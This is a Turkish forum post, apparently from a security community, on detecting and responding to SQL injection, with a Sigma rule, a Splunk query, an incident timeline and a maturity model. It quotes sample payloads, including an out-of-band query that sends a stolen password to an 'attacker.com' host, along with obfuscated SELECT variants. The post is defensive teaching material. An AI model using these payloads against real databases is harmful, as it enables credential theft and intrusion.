Red Team Operasyon Notları: SQL Enjeksiyonu | Teknik Arşiv

TURAN

Administrator
Yönetici
Katılım
16 Eylül 2025
Mesajlar
12
Tepkime puanı
9
Puan
3
Web sitesi
ebubekirbayat.com.tr

Tehdit Peyzajında SQL Enjeksiyonu: Blue Team Vizyonu​


Modern tehdit peyzajında SQL Injection (SQLi), sadece basit bir form input manipülasyonu değil, kurumsal veri tabanlarının derinliklerine uzanan bir "Initial Access" ve "Exfiltration" vektörüdür. MITRE ATT&CK matrisinde T1190 (Exploit Public-Facing Application) teknik koduyla eşleşen bu zafiyet, savunma derinliği (Defense-in-Depth) stratejilerini doğrudan hedef alır. Bir Blue Team Architect perspektifiyle baktığımızda, SQLi'yi sadece web katmanında karşılanan bir saldırı olarak görmek, stratejik bir hatadır. Saldırgan, bu zafiyeti kullanarak TA0008 (Lateral Movement) aşamasına geçmek için veri tabanı servis hesaplarının (Service Accounts) yetkilerini sömürür ve işletim sistemi seviyesinde T1059 (Command and Scripting Interpreter) üzerinden kod koşturmaya (Örn: xp_cmdshell) odaklanır. Savunma katmanlarımız (WAF, IPS, EDR), bu tür bir sızmayı engellemekte başarısız olduğunda, tespit mekanizmalarımızın "anomaly-based" yaklaşıma evrilmesi şarttır.

Görünürlük Boşlukları ve Telemetri Analizi​


Çoğu organizasyonun düştüğü en büyük hata, SQLi tespitini sadece HTTP 403/404/500 yanıt kodlarına veya WAF loglarına indirgemektir. Gerçek bir Blue Team operasyonu için aşağıdaki telemetri kaynaklarının korelasyonu kritiktir:

1. Veri Tabanı Audit Logları: Sadece giriş-çıkış değil, UNION, SELECT FROM information_schema, xp_cmdshell gibi yüksek riskli fonksiyonların çağrılması.
2. EDR/Sysmon Telemetrisi: Veri tabanı process'inin (sqlservr.exe, mysqld) beklenmedik bir alt süreç (child process) başlatıp başlatmadığı. Örneğin, bir SQL server'ın cmd.exe veya powershell.exe spawn etmesi "High Severity" bir olaydır.
3. Network Flow (L7 Analysis): Web sunucusundan veri tabanına giden trafik miktarındaki anormal artış ve yanıt paketlerindeki yüksek entropi.
4. Web Server Access Logs (Normalized): URL-encoded karakterlerin çözülmüş (decoded) haliyle analiz edilmesi. Birçok analist %27%20OR%201%3D1 dizisini gözden kaçırır.

"Neyi göremiyoruz?" sorusunun cevabı genellikle veri tabanı katmanındaki "internal" sorgu akışıdır. Uygulamanın normal query baseline'ı çıkarılmadan, sapan sorguları yakalamak imkansızdır.

Olay Müdahale (IR) Vaka Analizi: Canlı Müdahale​


Bir finansal kurumun MSSQL tabanlı web uygulamasında gerçekleşen "Time-based Blind SQLi" vakasını ele alalım:

T0 (First Alert): SIEM, web sunucusunda alışılmadık derecede yüksek CPU kullanımı ve DB bağlantı havuzunun dolduğuna dair bir anomali alarmı üretir.
T+5 (Analysis): Analist, WAF loglarında WAITFOR DELAY komutlarını içeren binlerce request saptar. Saldırgan, veri çekmek için saniyelik gecikmelerle database'i "konuşturmaktadır".
T+15 (Containment): Saldırganın IP adresi (Proxy/VPN üzerinden gelen) global blok listesine eklenir ancak saldırgan IP değiştirerek devam eder. Uygulama bazlı "Rate Limiting" devreye alınır.
T+30 (Eradication): SQL profiler ile en çok tetiklenen zafiyetli parametre tespit edilir. Kod seviyesinde Parameterized Query yaması geçilene kadar web sunucusunda ilgili endpoint geçici olarak kapatılır.
T+60 (Post-Incident): MTTD'yi düşürmek adına, DB katmanında SLEEP() veya BENCHMARK() fonksiyonlarını belli bir eşiğin üzerinde çağıran session'ları terminate eden bir otomasyon script'i (SOAR) playbook'a eklenir.

SIEM ve Tespit Mühendisliği (Detection Engineering)​


Statik WAF imzaları ' OR 1=1 gibi basit saldırıları engeller ancak profesyonel bir saldırgan obfuscation (HEX encoding, Comment injection) kullanarak bunları bypass eder. Bu noktada davranışsal SIEM kuralları devreye girmelidir.

Aşağıdaki Sigma kuralı, MSSQL üzerinden sistem komutu çalıştırma girişimini yakalamak için tasarlanmıştır:

Kod:
title: SQL Server Process Spawned Command Shell
status: experimental
description: Detects a database process spawning a shell, which is a common post-exploitation step in SQLi.
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\sqlservr.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
    condition: selection
falsepositives:
    - Administrative maintenance scripts (should be whitelisted by service account)
level: critical

Ayrıca, Splunk üzerinde "Time-based" saldırıları yakalamak için şu SPL sorgusu kullanılabilir:

Kod:
index=web_logs 
| rex field=uri "WAITFOR\s+DELAY\s+'(?<delay_time>[^']+)'" 
| eval delay_seconds = substr(delay_time, 7, 2) 
| where delay_seconds > 5 
| stats count by clientip, uri, delay_time

Red Team Davranışlarını Deşifre Etmek​


Profesyonel bir Red Team, SQLi'yi Out-of-Band (OOB) tekniklerle (DNS veya HTTP exfiltration) kullanır. Bu durumda sunucuya hiç dönmeyen veriler, saldırganın kontrolündeki bir DNS sunucusuna SELECT load_file(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')) benzeri sorgularla sızdırılır.

Blue Team olarak bu gizli kanalı yakalamanın yolu DNS Telemetrisi'nden geçer. Eğer web sunucunuz veya DB sunucunuz dış dünyaya (özellikle bilinmeyen domainlere) yoğun DNS sorgusu yapıyorsa, bu bir veri sızıntısı işaretidir. Analiz edilmesi gereken nokta; DNS sorgularındaki alt alan adlarının (subdomains) uzunluğu ve yüksek entropisidir.

Sahada Yapılan Kritik Savunma Hataları​


1. Regex Odaklı WAF Bağımlılığı: WAF'lar SELECT kelimesini engelleyebilir ama SEL/**/ECT veya %53%45%4c%45%43%54 varyasyonlarında körleşebilir.
2. Log Yorgunluğu ve Threshold Hataları: Saniyede 10.000 request alan bir sistemde "5 dakikada 100 hata" kuralı gürültü içinde kaybolur. Bunun yerine "Uygulama hata oranındaki %300'lük sapma" gibi dinamik threshold'lar kullanılmalıdır.
3. DB Kullanıcısının "sa" veya "root" Olması: SQLi bir zafiyettir ama veri tabanının işletim sistemi üzerinde tam yetkiyle çalışması bir "mimarî felaket"tir. Least Privilege prensibi çiğnendiğinde, SQLi doğrudan Ransomware saldırısına dönüşür.

Blue Team Operasyonel Olgunluk Değerlendirmesi​


Bir organizasyonun SQLi'ye karşı olgunluk seviyesi şu kriterlerle ölçülür:

- Seviye 1 (Reactive): Sadece statik WAF imzaları ve manuel log incelemesi.
- Seviye 2 (Managed): SIEM entegrasyonu, temel process monitoring ve merkezi loglama.
- Seviye 3 (Proactive): Veri tabanı sorgu baseline'ı çıkarılmış, anomali tespiti aktif, SOAR playbook'ları tanımlı.
- Seviye 4 (Resilient): Full-stack observability; DB, Web, Network ve Endpoint telemetrisi korele edilmiş, Threat Hunting operasyonları rutin hale getirilmiş.

Organizasyonlar "Ready" sayılmak için en az Seviye 3 olmalı ve zafiyetin sömürülmesini engellemenin yanı sıra, sömürü sonrası yan hareketleri (Post-Exploitation) izleyebilecek EDR yetkinliğine sahip olmalıdır.

Operasyonel Sonuç ve Stratejik Tavsiye​


SQL Injection'ı sadece bir web açığı olarak gören SOC ekipleri, modern APT grupları karşısında mağlup olmaya mahkumdur. Savunma stratejisi; saldırganın "hata yapmasını" beklemek yerine, saldırganın "iz bırakmak zorunda olduğu" telemetri alanlarını (Internal DB logs, DNS flows, Process trees) kuşatmak üzerine kurulmalıdır.

Stratejik Tavsiye: WAF'ı geçemeyen acemi saldırganlar için değil, WAF'ı sessizce aşan profesyoneller için Threat Hunting yapın. Veri tabanı sunucularınızın internete çıkışını (Egress) tamamen kapatın, DNS sorgularını izleyin ve DB servis hesaplarının process spawn etme yetkisini OS seviyesinde kısıtlayın. Unutmayın, tespit edemediğiniz bir saldırı, aslında bitmemiş bir saldırıdır.
 
Üst